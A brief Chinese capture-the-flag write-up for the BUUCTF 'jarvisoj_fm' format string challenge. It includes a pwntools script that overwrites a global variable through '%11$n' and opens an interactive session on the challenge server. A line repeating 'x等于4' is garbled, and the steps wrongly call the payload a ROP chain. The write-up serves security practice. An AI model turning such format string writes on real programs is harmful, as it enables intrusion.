buu-jarvisoj_fm-好久不见52

格式化字符串漏洞题

x等于4x等于4​​​​​​​x等于4​​​​​​​x等于4

可以知道是第11个参数，%11$ 定位到这个位置，然后%n往这个位置写入4

1.先用pwndbg调试得到偏移量
2.查看获取x的地址
3.构造ROP链，发送连接

from pwn import *

# 连接到远程服务器
p = remote("node5.buuoj.cn", 26985)

# 目标地址
addr = 0x0804A02C

# 构造payload
# p32将地址转换为4字节小端格式
# b'%11$n'确保字符串是字节类型
payload = p32(addr) + b'%11$n'

# 发送payload
p.sendline(payload)

# 进入交互模式
p.interactive()